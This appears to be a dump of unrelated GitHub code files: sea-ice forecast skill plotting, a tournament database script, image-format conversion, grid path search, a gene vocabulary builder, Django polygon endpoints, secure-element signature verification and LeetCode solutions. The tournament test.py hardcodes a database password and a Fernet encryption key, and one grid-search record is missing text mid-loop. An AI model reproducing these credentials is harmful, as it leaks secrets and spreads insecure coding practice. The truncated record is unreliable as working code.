sim=md.Mitch_detrend(sim)\n \n \"\"\"for i in range(12): #Polynomial detrending\n for j in range(12):\n t_sim=np.arange(len(sim[i,j,:]))\n d_sim=np.polyfit(t_sim, sim[i,j,:], 1)\n sim[i,j,:]=sim[i,j,:]-d_sim[0]*t_sim\n t_obs=np.arange(len(obs[i,:]))\n d_obs=np.polyfit(t_obs, obs[i,:], 1)\n obs[i,:]=obs[i,:]-d_obs[0]*t_obs \"\"\" \n \n #print(persistence)\n \n \n #Calculate ACC\n ACC=np.zeros((12,12), dtype=np.ndarray)\n std_dev=np.zeros((12,12), dtype=np.ndarray)\n boot_temp=np.zeros((12,12), dtype=np.ndarray)\n boot=np.zeros((12,12), dtype=np.ndarray)\n ACC_pers=np.zeros((12,12), dtype=np.ndarray)\n boot_temp_pers=np.zeros((12,12), dtype=np.ndarray)\n boot_pers=np.zeros((12,12), dtype=np.ndarray)\n for init in range(12):\n \tfor target in range(12):\n if init<=target: #then first sim year is the same as first obs year \n ACC[init,target]=np.corrcoef(sim[init,target,:],obs[target,0:-1])[1,0]\n std_dev[init,target]=np.std(original_obs[target,0:-1])\n boot_temp[init,target]=bt.calc_corr_boot(sim[init,target,:],obs[target,0:-1],1000)\n if ACC[init,target]>0:\n boot[init,target]=bt.calc_boot_stats(boot_temp[init,target],sides=1,pval_threshold=0.05)[1]\n else:\n boot[init,target]=bt.calc_boot_stats(boot_temp[init,target],sides=1,pval_threshold=0.05)[2]\n ACC_pers[init,target]=np.corrcoef(persistence[init,target,:],obs[target,0:-1])[1,0]\n boot_temp_pers[init,target]=bt.calc_corr_boot(persistence[init,target,:],obs[target,0:-1],1000)\n boot_pers[init,target]=bt.calc_boot_stats(boot_temp_pers[init,target],sides=2,pval_threshold=0.05)[1]\n else: #then first sim year is the year after obs year\n ACC[init,target]=np.corrcoef(sim[init,target,:],obs[target,1::])[1,0]\n std_dev[init,target]=np.std(original_obs[target,1::])\n boot_temp[init,target]=bt.calc_corr_boot(sim[init,target,:],obs[target,1::],1000)\n if ACC[init,target]>0:\n boot[init,target]=bt.calc_boot_stats(boot_temp[init,target],sides=1,pval_threshold=0.05)[1]\n else:\n boot[init,target]=bt.calc_boot_stats(boot_temp[init,target],sides=1,pval_threshold=0.05)[2]\n ACC_pers[init,target]=np.corrcoef(persistence[init,target,:],obs[target,1::])[1,0]\n boot_temp_pers[init,target]=bt.calc_corr_boot(persistence[init,target,:],obs[target,1::],1000)\n boot_pers[init,target]=bt.calc_boot_stats(boot_temp_pers[init,target],sides=2,pval_threshold=0.05)[1]\n \n #print(ACC_pers)\n \n \n \n \n\n \n \n #boot[init,target]=bt.calc_corr_boot(sim,obs,1000)\n \n \n \n \n #print(len(boot[5,3]))\n \"\"\"nt=np.shape(sim)[0] \n nboot=np.array(1000,dtype=int)\n dims=np.concatenate(([nboot],np.array(np.shape(sim)[1::])))\n print(dims)\"\"\"\n\n ACC = np.vstack(ACC[:, :]).astype(np.float) #ACC is an object and pcolor needs floats\n ACC_pers = np.vstack(ACC_pers[:, :]).astype(np.float) #ACC_pers is an object and pcolor needs floats\n \n \n ACC2=np.zeros((12,12))\n boot_temp2=np.zeros((12,12), dtype=np.ndarray)\n boot2=np.zeros((12,12))\n ACC2_pers=np.zeros((12,12))\n boot_temp2_pers=np.zeros((12,12), dtype=np.ndarray)\n boot2_pers=np.zeros((12,12))\n\n for init in range(12): #currently, the ACC matrix is organized by target month and init month; this changes it to target month by lead time\n for target in range(12):\n if target>=init: #same year\n ilag=target-init\n else: #next year \n ilag=target-init+12\n ACC2[ilag,target]=ACC[init,target]\n boot_temp2[ilag,target]=boot_temp[init,target]\n boot2[ilag,target]=boot[init,target]\n ACC2_pers[ilag,target]=ACC_pers[init,target]\n boot_temp2_pers[ilag,target]=boot_temp_pers[init,target]\n boot2_pers[ilag,target]=boot_pers[init,target]\n \n \n if diff==0:\n old_ACC=ACC2\n old_boot=boot_temp2\n diff+=1\n \n if diff==1:\n new_ACC=ACC2\n new_boot=boot_temp2\n \n if r!=0:\n if (len(np.std(original_obs, axis=1)[(np.std(original_obs, axis=1)*1e15)/np.sum(area) < 0.8])!=0 and std_mask):\n print (\"STD mask in effect\")\n for i in range(len(ACC2)):\n if ((np.std(original_obs, axis=1)[i]*1e15)/np.sum(area)) < 0.8:\n boot2_pers[:,i]=-1 # 0 will be seen as significant\n boot2[:,i]=-1 # 0 will be seen as significant\n ACC2_pers[:,i]=0\n ACC2[:,i]=0\n if single:\n if (len(np.std(pm_std, axis=1)[(np.std(pm_std, axis=1)*1e15)/np.sum(area) < 0.8])!=0 and std_mask):\n print (\"STD mask in effect\")\n for i in range(len(auto)):\n if ((np.std(pm_std, axis=1)[i]*1e15)/np.sum(area)) < 0.8:\n boot2_pers[:,i]=-1 # 0 will be seen as significant\n boot2[:,i]=-1 # 0 will be seen as significant\n ACC2_pers[:,i]=0\n ACC2[:,i]=0\n \n if show_persistence: \n fig, ax = plt.subplots()\n \n pcparams=dict(clevs=np.arange(-0.8,1,0.1),cmap=jet3)\n #pcparams=dict(clevs=np.arange(-0.15,1.05,0.1),cmap='acccbar')\n pc=rpl.add_pc(ax,range(13),range(13),ACC2_pers,**pcparams)\n plt.colorbar(pc)\n for init in range(len(boot2_pers[:,0])):\n for target in range(len(boot2_pers[0,:])):\n if boot2_pers[init,target]>=0:\n plt.scatter((target+0.5),(init+0.5), color = 'black', s=20)\n if thesis_figures: \n if detrend:\n plt.title(\"Detrended Anomaly Persistence Forecast\", fontsize=15)\n else:\n plt.title(\"Anomaly Persistence Forecast\", fontsize=15)\n else: \n if detrend:\n plt.title(\"ACC for Detrended Persistence from %i to %i\" % (min(years),(max(years)+1)))\n else:\n plt.title(\"ACC for Persistence from %i to %i\" % (min(years),(max(years)+1)))\n ax.invert_xaxis\n ax.invert_yaxis\n ax.set_xticks(np.arange(len(calendar.month_name[1:13]))+0.5) \n ax.set_xticklabels(calendar.month_name[1:13], rotation=90) \n ax.set_yticks(np.arange(len(calendar.month_name[1:13]))+0.5) \n ax.set_yticklabels(['0','1','2','3','4','5','6','7','8','9','10','11']) \n plt.xlabel(\"Predicted Month\") \n plt.ylabel(\"Lead (Months)\") \n plt.show() \n\n#%%\n print(\"%s\" % Data)\n fig, ax = plt.subplots()\n if pstyle == \"pc\":\n pcparams=dict(clevs=np.arange(-0.8,1,0.1),cmap=jet3)\n #pcparams=dict(clevs=np.arange(-0.15,1.05,0.1),cmap='acccbar')\n pc=rpl.add_pc(ax,range(13),range(13),ACC2,**pcparams)\n #ss=rpl.add_sc(ax,range(13),range(13),boot2)\n elif pstyle == \"cf\":\n pcparams=dict(clevs=np.arange(-0.15,1.05,0.1),cmap='acccbar', latlon=False)\n pc=rpl.add_cf(ax,range(12),range(12),ACC2,**pcparams)\n plt.colorbar(pc)\n for init in range(len(boot2[:,0])):\n for target in range(len(boot2[0,:])):\n if boot2[init,target]==np.nan:\n plt.scatter((target+0.5),(init+0.5), color = 'red', s=50, marker='x')\n print(\"done\")\n if ACC2[init,target]>0:\n if boot2[init,target]>0:\n if ACC2_pers[init,target]>=ACC2[init,target]:\n plt.scatter((target+0.5),(init+0.5), color = 'black', s=20)\n else:\n plt.scatter((target+0.5),(init+0.5), color = 'black', s=40, marker='^')\n elif ACC2[init,target]<0:\n if boot2[init,target]<0:\n plt.scatter((target+0.5),(init+0.5), color = 'black', s=20)\n \"\"\"else:\n if ACC2[init,target]>ACC2_pers[init,target]:\n plt.scatter((target+0.5),(init+0.5), color = 'blue', s=20, marker='s')\"\"\"\n if detrend:\n if r!=0:\n plt.title(\"%s %s %s ACC of %s (detrended) from %i to %i\" % (CANSIPS, str.capitalize(version), metric, region, min(years),(max(years))))\n else:\n plt.title(\"%s %s %s ACC of detrended forecasts from %i to %i\" % (CANSIPS, str.capitalize(version), metric, min(years),(max(years))))\n else:\n if r!=0:\n plt.title(\"%s %s %s ACC of %s from %i to %i\" % (CANSIPS, str.capitalize(version), metric, region, min(years),(max(years))))\n else:\n plt.title(\"%s %s %s ACC of forecasts from %i to %i\" % (CANSIPS, str.capitalize(version), metric, min(years),(max(years))))\n if single:\n if smark==0:\n plt.title(\"GEM-NEMO %s ACC of forecasts from %i to %i\" % (metric, min(years),(max(years))))\n elif smark==1:\n if r!=0:\n plt.title(\"%s OP\" % region_titles[r], fontsize=20)\n else:\n plt.title(\"Pan-Arctic OP\", fontsize=20)\n if thesis_figures:\n print(\"%s\" % metric)\n if CANSIPS==\"v1\":\n if version==\"OLD\":\n plt.title(\"CanSIPSv1\", fontsize=20)\n titles.append(\"CanSIPSv1\")\n elif version==\"NEW\":\n plt.title(\"CanSIPSv1b\", fontsize=20)\n titles.append(\"CanSIPSv1b\")\n elif CANSIPS==\"v2\":\n plt.title(\"CanSIPSv2\", fontsize=20)\n titles.append(\"CanSIPSv2\")\n if region_figures:\n print(version)\n plt.title(\"%s\" % region_titles[r], fontsize=20)\n ax.invert_xaxis\n ax.invert_yaxis\n ax.set_xticks(np.arange(len(calendar.month_name[1:13]))+0.5) \n ax.set_xticklabels(calendar.month_name[1:13], rotation=90, fontsize=12) \n ax.set_yticks(np.arange(len(calendar.month_name[1:13]))+0.5) \n ax.set_yticklabels(['0','1','2','3','4','5','6','7','8','9','10','11'], fontsize=12) \n plt.ylabel(\"Lead (months)\", fontsize=15)\n plt.xlabel(\"Target Month\", fontsize=15) \n plt.show()\n \n \"\"\"if single:\n if smark == 1:\n np.save('temp/%s' % region, ACC2)\"\"\"\n \n#%% \n \n \n \"\"\"\n k=pd.DataFrame(ACC2,index=calendar.month_name[1:13], columns=range(1,13))\n fig, ax = plt.subplots()\n d=ax.pcolor(k)\n plt.colorbar(d)\n plt.title(\"%s %s ACC of forecasts from %i to %i\" % (str.capitalize(version), metric, min(years),(max(years)+1)))\n ax.xaxis.set_major_formatter(ticker.NullFormatter())\n #ax.xaxis.set_minor_locator(ticker.FixedLocator((range(1,13)+0.5)))\n ax.xaxis.set_minor_formatter(ticker.FixedFormatter(str(range(1,13))))\n ax.set_yticks(np.arange(len(calendar.month_name[1:13]))+0.5)\n ax.set_yticklabels(k.index)\n plt.xlabel(\"Lead Time\")\n plt.ylabel(\"Initialization month\")\n plt.show() \"\"\"\n\n#%% \nif single:\n ACC=np.load('temp/%s.npy' % region)-new_ACC\n boot_temp=np.load('temp/%s_boot.npy' % region, allow_pickle=True)-new_boot\n for init in range(12):\n for target in range(12):\n if ACC[init,target]>0:\n boot[init,target]=bt.calc_boot_stats(boot_temp[init,target],sides=1,pval_threshold=0.05)[1]\n else:\n boot[init,target]=bt.calc_boot_stats(boot_temp[init,target],sides=1,pval_threshold=0.05)[2]\nelse:\n ACC=new_ACC-old_ACC\n boot_temp=new_boot-old_boot\n for init in range(12):\n for target in range(12):\n if ACC[init,target]>0:\n boot[init,target]=bt.calc_boot_stats(boot_temp[init,target],sides=1,pval_threshold=0.05)[1]\n else:\n boot[init,target]=bt.calc_boot_stats(boot_temp[init,target],sides=1,pval_threshold=0.05)[2]\n\nif r!=0:\n if (len(np.std(obs, axis=1)[((np.std(obs, axis=1)*1e15)/np.sum(area)) < 0.8])!=0 and std_mask):\n for i in range(len(ACC)):\n if ((np.std(obs, axis=1)[i]*1e15)/np.sum(area)) < 0.8:\n boot[:,i]=-1 # 0 will be seen as significant\n if single:\n ACC[:,i]=0\n if single:\n if (len(np.std(pm_std, axis=1)[(np.std(pm_std, axis=1)*1e15)/np.sum(area) < 0.8])!=0 and std_mask):\n print (\"Perfect STD mask in effect\")\n for i in range(len(auto)):\n if ((np.std(pm_std, axis=1)[i]*1e15)/np.sum(area)) < 0.8:\n boot[:,i]=-1 # 0 will be seen as significant\n if single:\n ACC[:,i]=0\n\n\nfig, ax = plt.subplots()\nif pstyle == \"pc\":\n pcparams=dict(clevs=np.arange(-0.8,1,0.1),cmap=jet3)\n pc=rpl.add_pc(ax,range(13),range(13),ACC,**pcparams)\nelif pstyle == \"cf\":\n pcparams=dict(clevs=np.arange(-0.15,1.05,0.1),cmap='acccbar',latlon=False)\n pc=rpl.add_cf(ax,range(1,13),range(1,13),ACC,**pcparams)\nplt.colorbar(pc)\n\nfor init in range(len(boot[:,0])):\n for target in range(len(boot[0,:])):\n if ACC[init,target]>0:\n if boot[init,target]>0:\n plt.scatter((target+0.5),(init+0.5), color = 'black', s=20)\n elif ACC[init,target]<0:\n if boot[init,target]<0:\n plt.scatter((target+0.5),(init+0.5), color = 'black', s=20)\nif detrend:\n plt.title(\"Difference in ACC of detrended forecasts from %i to %i\" % (min(years),(max(years))))\nelse:\n plt.title(\"Difference in ACC of forecasts from %i to %i\" % (min(years),(max(years))))\nif thesis_figures:\n plt.title(\"%s - %s\" % (titles[1],titles[0]), fontsize=20)\nif single:\n plt.title(\"%s PM-OP\" % region_titles[r], fontsize=20)\nax.invert_xaxis\nax.invert_yaxis\nax.set_xticks(np.arange(len(calendar.month_name[1:13]))+0.5) \nax.set_xticklabels(calendar.month_name[1:13], rotation=90, fontsize=12) \nax.set_yticks(np.arange(len(calendar.month_name[1:13]))+0.5) \nax.set_yticklabels(['0','1','2','3','4','5','6','7','8','9','10','11'], fontsize=12) \nplt.ylabel(\"Lead (months)\", fontsize=15)\nplt.xlabel(\"Target Month\", fontsize=15) \nplt.show()\n","repo_name":"joeymartin888/masters-thesis","sub_path":"ACC_calc.py","file_name":"ACC_calc.py","file_ext":"py","file_size_in_byte":25732,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"21"} +{"seq_id":"12143453943","text":"from encrypted_mysqldb.database import Database\nfrom cryptography.fernet import Fernet\nfrom common.config import constants\nfrom common.databases.tosurnament.tournament import Tournament\nfrom common.databases.tosurnament.bracket import Bracket\nfrom common.databases.tosurnament.user import User\n\ndb = Database(\"spartanplume\", \"^9dNs3%s&5KyV5\", \"tosurnament\", Fernet(\"tPfa-QbunB3PdvFuZQKrkoz7FZFsSUSbrdJ4fEEA_WY=\"))\ntournament_id_to_current_bracket_id = {\n 1: 3,\n 2: 4,\n 3: 5,\n 4: 7,\n 5: 8,\n 6: 9,\n 7: 10,\n 8: 12,\n 9: 13,\n 10: 15,\n 11: 16,\n 12: 17,\n 13: 18,\n 14: 19,\n 15: 21,\n 16: 22,\n 17: 23,\n 18: 24,\n 19: 25,\n 20: 26,\n 21: 28,\n 22: 31,\n 23: 32,\n 24: 33,\n 25: 34,\n 26: 35,\n 27: 36,\n 28: 37,\n}\nfor tournament_id, current_bracket_id in tournament_id_to_current_bracket_id.items():\n tournament = db.query(Tournament).where(Tournament.id == tournament_id).first()\n tournament.current_bracket_id = current_bracket_id\n print(tournament.get_api_dict())\n # db.update(tournament)\n","repo_name":"SpartanPlume/Tosurnament","sub_path":"backend/test.py","file_name":"test.py","file_ext":"py","file_size_in_byte":1067,"program_lang":"python","lang":"en","doc_type":"code","stars":10,"dataset":"github-code","pt":"21"} +{"seq_id":"18389047435","text":"import h5py\nimport tifffile as tiff\nfrom shutil import copy\n\ndef cvppp_ins_to_h5(pred_root, pred_file_name):\n\n template = 'submission_example.h5' # This can be downloaded from the official cvppp challenge website.\n\n pred_h5 = pred_file_name + '.h5'\n\n copy(pred_root+ template, pred_root + pred_h5)\n\n file = h5py.File(pred_root + pred_h5, 'r+')\n\n a1_pred = file['A1']\n\n for data in a1_pred.keys(): # loop datasets in the current group\n # get label image\n fullkey = 'A1/' + data + '/label'\n tiff_path =pred_root + pred_file_name + '/' + data + '_rgb.tif'\n pred_tiff = tiff.imread(tiff_path)\n\n inLabel = file[fullkey]\n inLabel[...] = pred_tiff\n\n file.close()\n\n\n\nif __name__ == \"__main__\":\n pred_root = ''\n pred_file_name = '' # The name of the folder containing your instance segmentation prediction in '.tif' format.\n\n cvppp_ins_to_h5(pred_root, pred_file_name)","repo_name":"dliu5812/PFFNet","sub_path":"inference/cvppp_tiff_to_h5.py","file_name":"cvppp_tiff_to_h5.py","file_ext":"py","file_size_in_byte":936,"program_lang":"python","lang":"en","doc_type":"code","stars":9,"dataset":"github-code","pt":"21"} +{"seq_id":"2246400476","text":"import cv2\nimport random\nimport numpy as np\n\n#輸入一空白矩陣mat,此函示將在此矩陣隨機位置加入num個點並回傳。\ndef putRandom(mat, num):\n\tn=0\n\twhile n\")\n\t\tin_portal = eval(in_portal)\n\t\tout_portal = eval(out_portal)\n\t\tportal_grid[in_portal] = out_portal\n\t\tgrid[in_portal] = 5\n\t\tgrid[out_portal] = 6\n\t\tinverse_portals_grid[out_portal] = in_portal\n\nnp.save(\"grid.npy\", grid)\n\ndef portal_search(grid, portal_grid, start, end):\n\tmoves_list_broad = []\n\tmoves_array = []\n\n\tdef execute_portal_search():\n\t\tnr_moves = 0\n\t\tcurrent_tiles = np.array([start.copy()])\n\t\ttarget_found = False\n\t\twhile target_found == False:\n\t\t\tnew_tiles = []\n\t\t\tfor current_tile in current_tiles:\n\t\t\t\tfor step in possible_steps:\n\t\t\t\t\ttile = current_tile + step\n\t\t\t\t\tif 0 <= tile[0] < grid_size[0] and 0 <= tile[1] < grid_size[1] and grid[tile[0],tile[1]] in [0,5,4]:\n\t\t\t\t\t\tif (portal_grid[tile[0],tile[1]] != np.array([0,0])).all(): # Either found target or a portal.\n\t\t\t\t\t\t\tif (portal_grid[tile[0],tile[1]] == np.array([-1,-1])).all(): # Found target.\n\t\t\t\t\t\t\t\ttarget_found = True\n\t\t\t\t\t\t\t\tprint(\"Search Successful after %d moves!\" % nr_moves)\n\t\t\t\t\t\t\t\treturn(nr_moves, True)\n\t\t\t\t\t\t\telse: # Found portal.\n\t\t\t\t\t\t\t\ttile = portal_grid[tile[0],tile[1]]\n\t\t\t\t\t\tgrid[tile[0],tile[1]] = 1 # Marking as passed.\n\t\t\t\t\t\tnew_tiles.append(tile)\n\t\t\t\t\t\tmoves_array.append(tile)\n\t\t\tnr_moves += 1\n\t\t\tcurrent_tiles = np.array(new_tiles)\n\t\t\tmoves_list_broad.append(current_tiles)\n\t\tprint(\"Search Failed after %d moves!\" % nr_moves)\n\t\treturn(nr_moves, False)\n\n\tnr_moves, success = execute_portal_search()\n\n\tshortest_path = []\n\tcurrent_tile = end.copy()\n\tfor i in range(len(moves_list_broad)-1, -1, -1):\n\t\tfor tile in moves_list_broad[i]:\n\t\t\tfound_one = False\n\t\t\tfor possible_tile in current_tile + possible_steps:\n\t\t\t\tif (tile == possible_tile).all():\n\t\t\t\t\tshortest_path.append(tile)\n\t\t\t\t\tcurrent_tile = tile\n\t\t\t\t\tfound_one = True\n\t\t\t\t\tbreak\n\t\t\tfor possible_tile in inverse_portals_grid[current_tile[0],current_tile[1]] + possible_steps:\n\t\t\t\tif (tile == possible_tile).all() and found_one == False\\\n\t\t\t\tand (inverse_portals_grid[current_tile[0],current_tile[1]] != np.array([0,0])).all():\n\t\t\t\t\tshortest_path.append(tile)\n\t\t\t\t\tcurrent_tile = tile\n\t\t\t\t\tbreak\n\n\n\n\n\tshortest_path = np.array(shortest_path)\n\tnp.save(\"moves.npy\", moves_array)\n\tnp.save(\"moves_broad.npy\", moves_list_broad)\n\tnp.save(\"portal_grid.npy\", portal_grid)\n\tnp.save(\"shortest_path.npy\", shortest_path)\n\nportal_search(grid, portal_grid, start, end)\n\ngrid_animator(reserved_numbers=[3,4,5,6])","repo_name":"jgslunde/christmas_programming","sub_path":"christmas_challenges/luke24/luke24.py","file_name":"luke24.py","file_ext":"py","file_size_in_byte":2977,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"72734228532","text":"import cellxgene_census\nimport json\n\nVERSION = \"2023-05-08\"\n\nwith cellxgene_census.open_soma(census_version=VERSION) as census:\n meta_data = (\n census[\"census_data\"][\"homo_sapiens\"]\n .ms[\"RNA\"]\n .var.read(\n column_names=[\n \"feature_name\",\n ],\n )\n )\n new_gene_list = meta_data.concat().to_pandas()[\"feature_name\"].to_list()\n # print(gene_name)\n\nwith open(\"../../scgpt/tokenizer/default_cellxgene_vocab.json\", \"r\") as f:\n old_gene_dict = json.load(f)\n\nprint(\"old gene list length:\", len(old_gene_dict))\n\nexpanded_dict = old_gene_dict.copy()\n\n# count the genes in old but not in new:\n# for gene, num in old_gene_dict.items():\n# if gene not in new_gene_list:\n# print(f\"diff at {gene}\")\n\nstarting_num = max(old_gene_dict.values()) + 1\nfor new_gene in new_gene_list:\n if new_gene not in old_gene_dict.keys():\n expanded_dict[new_gene] = starting_num\n starting_num += 1\nprint(\"new gene dict length:\", len(expanded_dict))\n\ndump_path = \"../../scgpt/tokenizer/default_census_vocab.json\"\n\nwith open(dump_path, \"w\") as f:\n json.dump(expanded_dict, f, indent=2)\n","repo_name":"bowang-lab/scGPT","sub_path":"data/cellxgene/expand_gene_list.py","file_name":"expand_gene_list.py","file_ext":"py","file_size_in_byte":1160,"program_lang":"python","lang":"en","doc_type":"code","stars":537,"dataset":"github-code","pt":"21"} +{"seq_id":"41920091615","text":"from django.http import JsonResponse\nimport json\nfrom rest_framework.decorators import api_view\nfrom .models import Polygone\nfrom django.contrib.gis.geos import Polygon\nfrom django.core.serializers import serialize\nfrom django.http import HttpResponse\n\n@api_view(['POST'])\ndef create_polygon(request):\n if request.method == 'POST':\n data = json.loads(request.body)\n print(data)\n location = data.get('location')\n if location:\n polygon_coords = [(coord[0], coord[1]) for coord in location]\n polygon_geom = Polygon(polygon_coords)\n polygon_obj = Polygone.objects.create(polygon=polygon_geom)\n return JsonResponse({'status': 'success'})\n return JsonResponse({'status': 'error'})\n\n\n@api_view(['GET'])\ndef get_all_polygons(request):\n if request.method == 'GET':\n polygons = Polygone.objects.all()\n polygons_json = serialize('json', polygons)\n return HttpResponse(polygons_json, content_type='application/json')\n\n","repo_name":"AmineBarguellil7/Indus-Back","sub_path":"Polygone/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":1008,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"17057801493","text":"import os\nimport ctypes\nimport logging\nimport binascii\nfrom . import sss_api as apis\nfrom .keystore import KeyStore\nfrom .keyobject import KeyObject\nfrom .asymmetric import Asymmetric\nfrom .symmetric import Symmetric\nfrom .const import HASH\nfrom .util import hash_convert, hash_convert_raw, parse_signature, \\\n load_certificate, transform_key_to_list\n\nlog = logging.getLogger(__name__)\n\n\nclass Verify: # pylint: disable=too-few-public-methods\n \"\"\"\n Verify operation\n \"\"\"\n\n def __init__(self, session_obj):\n \"\"\"\n Constructor\n :param session_obj: Instance of session\n \"\"\"\n self._session = session_obj\n self._ctx_ks = KeyStore(self._session)\n self._ctx_key = KeyObject(self._ctx_ks)\n self.hash_algo = apis.kAlgorithm_None\n self.symmetric_verify_mac_one_go = True\n\n def do_verification(self, key_id, input_file, signature_file, # pylint: disable=too-many-locals, too-many-arguments\n encode_format=\"\", hash_algo=''):\n \"\"\"\n Do verify operation\n :param key_id: Key index\n :param input_file: Input data to verify with signature\n :param signature_file: Input signed data to verify with raw data\n :param encode_format: file Encode format. Eg: PEM, DER\n :param hash_algo: hash algorithm for verify\n :return: Status\n \"\"\"\n\n status, object_type, cipher_type = self._ctx_key.get_handle(key_id) # pylint: disable=unused-variable\n if status != apis.kStatus_SSS_Success:\n return status\n\n if hash_algo == '':\n # Default hash algorithm\n if cipher_type in [apis.kSSS_CipherType_RSA, apis.kSSS_CipherType_RSA_CRT]:\n log.debug(\"Considering Algorithm_SSS_RSASSA_PKCS1_PSS_MGF1_SHA256\"\n \" as Default hash algorithm for RSA\")\n self.hash_algo = apis.kAlgorithm_SSS_RSASSA_PKCS1_PSS_MGF1_SHA256\n elif cipher_type in [apis.kSSS_CipherType_EC_TWISTED_ED]:\n log.debug(\"Considering Algorithm_SSS_SHA512 as Default hash algorithm\")\n self.hash_algo = apis.kAlgorithm_SSS_SHA512\n elif cipher_type == apis.kSSS_CipherType_HMAC:\n log.debug(\"Considering kAlgorithm_SSS_HMAC_SHA512 as Default hash algorithm\")\n self.hash_algo = apis.kAlgorithm_SSS_HMAC_SHA512\n elif cipher_type == apis.kSSS_CipherType_AES:\n log.debug(\"Considering kAlgorithm_SSS_CMAC_AES as Default hash algorithm\")\n self.hash_algo = apis.kAlgorithm_SSS_CMAC_AES\n elif cipher_type == apis.kSSS_CipherType_DES:\n log.debug(\"Considering kAlgorithm_SSS_DES_CMAC8 as Default hash algorithm\")\n self.hash_algo = apis.kAlgorithm_SSS_DES_CMAC8\n else:\n log.debug(\"Considering Algorithm_SSS_SHA256 as Default hash algorithm\")\n self.hash_algo = apis.kAlgorithm_SSS_SHA256\n else:\n # Take hash algorithm from user\n self.hash_algo = HASH[hash_algo]\n try:\n if not os.path.isfile(input_file):\n raise Exception(\"Incorrect input file, try verifying with correct input file !!\") # pylint: disable=raise-missing-from\n\n if cipher_type in [apis.kSSS_CipherType_EC_TWISTED_ED]:\n digest, digest_len = load_certificate(input_file)\n elif cipher_type in [apis.kSSS_CipherType_HMAC, apis.kSSS_CipherType_AES, apis.kSSS_CipherType_DES]:\n with open(input_file, 'rb') as raw_data:\n digest = raw_data.read()\n digest_len = len(digest)\n else:\n (digest, digest_len) = hash_convert(input_file, encode_format, self.hash_algo)\n\n except Exception as exc: # pylint: disable=broad-except\n # If input data is not certificate, then load it as binary data\n if 'Unable to load certificate' in str(exc) or 'error parsing asn1 value' in str(exc):\n if os.path.isfile(input_file):\n with open(input_file, 'rb') as raw_data:\n src_data = raw_data.read()\n if cipher_type in [apis.kSSS_CipherType_EC_TWISTED_ED]:\n cert_hex = binascii.hexlify(src_data)\n digest = transform_key_to_list(cert_hex)\n digest_len = len(digest)\n else:\n (digest, digest_len) = hash_convert_raw(src_data, self.hash_algo)\n else:\n raise Exception(\"Incorrect input file, try verifying with correct input file !!\") # pylint: disable=raise-missing-from\n else:\n raise exc\n try:\n (signature, signature_len) = parse_signature(signature_file, encode_format)\n except IOError as exc:\n log.error(exc)\n return apis.kStatus_SSS_Fail\n digest_ctype = (ctypes.c_ubyte * digest_len)(*digest)\n mode = apis.kMode_SSS_Verify\n signature_ctype = (ctypes.c_uint8 * signature_len)(*signature)\n signature_len_ctype = ctypes.c_size_t(signature_len)\n\n if cipher_type in [apis.kSSS_CipherType_HMAC, apis.kSSS_CipherType_AES, apis.kSSS_CipherType_DES]:\n ctx = Symmetric(self._session)\n ctx.algorithm = self.hash_algo\n ctx.mode = apis.kMode_SSS_Mac_Validate\n else:\n ctx = Asymmetric(self._session, self._ctx_key, self.hash_algo, mode)\n\n if cipher_type in [apis.kSSS_CipherType_HMAC, apis.kSSS_CipherType_AES, apis.kSSS_CipherType_DES]:\n if self.symmetric_verify_mac_one_go:\n status = ctx.mac_validate_one_go(self._ctx_key, digest_ctype, digest_len, signature_ctype, signature_len_ctype)\n else:\n status = ctx.mac_multi_step(self._ctx_key, digest_ctype, digest_len, signature_ctype, signature_len_ctype)\n elif cipher_type in [apis.kSSS_CipherType_EC_TWISTED_ED]:\n status = ctx.se05x_verify(\n digest_ctype, digest_len, signature_ctype, signature_len_ctype)\n else:\n status = ctx.verify(\n digest_ctype, digest_len, signature_ctype, signature_len_ctype)\n return status\n","repo_name":"autopi-io/autopi-core","sub_path":"src/salt/base/state/secure_element/se05x_sss/sss/verify.py","file_name":"verify.py","file_ext":"py","file_size_in_byte":6280,"program_lang":"python","lang":"en","doc_type":"code","stars":142,"dataset":"github-code","pt":"21"} +{"seq_id":"3683866544","text":"class Solution(object):\n \n # 848. Shifting Letters\n def shiftingLetters(self, s, shifts):\n \"\"\"\n :type s: str\n :type shifts: List[int]\n :rtype: str\n \"\"\"\n\n n = len(s)\n acc = 0\n finString = \"\"\n\n for i in range(n-1, -1, -1):\n acc += shifts[i]\n finString = chr( ( ( (ord(s[i]) - ord('a')) + acc) % 26) + ord('a')) + finString\n\n return finString\n \n # 446. Arithmetic Slices II - Subsequence\n def numberOfArithmeticSlices(self, nums):\n \"\"\"\n :type nums: List[int]\n :rtype: int\n \"\"\"\n \n # -- Found an interesting solution without DP but does not work when a same number occurs more than 1 time\n\n n = len(nums)\n\n if n < 3: # no arithmetic subsequence possible?\n return 0\n \n nOfArithSub = 0 # number of all the arithmetic subsequences of nums (counter)\n\n sNums = sorted(nums) # sort the array\n \n for i in range(n-2): # position of the 1st number in subsequence\n for j in range(i+1, n-1): # position of the 2nd number in subsequence\n\n diffOfArithSub = sNums[j] - sNums[i] # difference between two consecutive numbers in the arithmetic subsequence (if it exists)\n\n last_pos = j # position of the last added number into the subsequence\n next_pos = j+1 # postion of the next number that could be added\n\n while next_pos < n and sNums[next_pos] - sNums[last_pos] <= diffOfArithSub:\n\n if sNums[next_pos] - sNums[last_pos] == diffOfArithSub: # (at least 3 elements already checked)\n last_pos = next_pos\n nOfArithSub += 1 # add 1 to the counter\n\n next_pos += 1\n\n return nOfArithSub\n \n # 224. Basic Calculator\n def calculate(self, s):\n \"\"\"\n :type s: str\n :rtype: int\n \"\"\"\n \n number = 0 # to store the whole number (read digit by digit)\n result = 0 # store result after computation\n sign = 1 # sign of the result\n\n stack = [sign] # used for parentheses\n\n for i in range(len(s)):\n \n c = s[i]\n\n if c >= '0' and c <= '9':\n number = number * 10 + int(c)\n \n elif c == '+' or c == '-':\n result += sign * number\n if c == '+': # if + in front of the last opening parenthesis\n sign = stack[-1]\n else: # if -\n sign = stack[-1] * -1\n number = 0\n \n elif c == '(':\n stack.append(sign)\n \n elif c == ')':\n stack.pop()\n \n result += sign * number\n return result\n \n # 1189. Maximum Number of Balloons\n def maxNumberOfBalloons(self, text):\n \"\"\"\n :type text: str\n :rtype: int\n \"\"\"\n\n freq = {} # stores the number of occcurences for the characters appearing in the text\n\n for c in text: # initilazing freq\n if c not in freq:\n freq[c] = 1\n else:\n 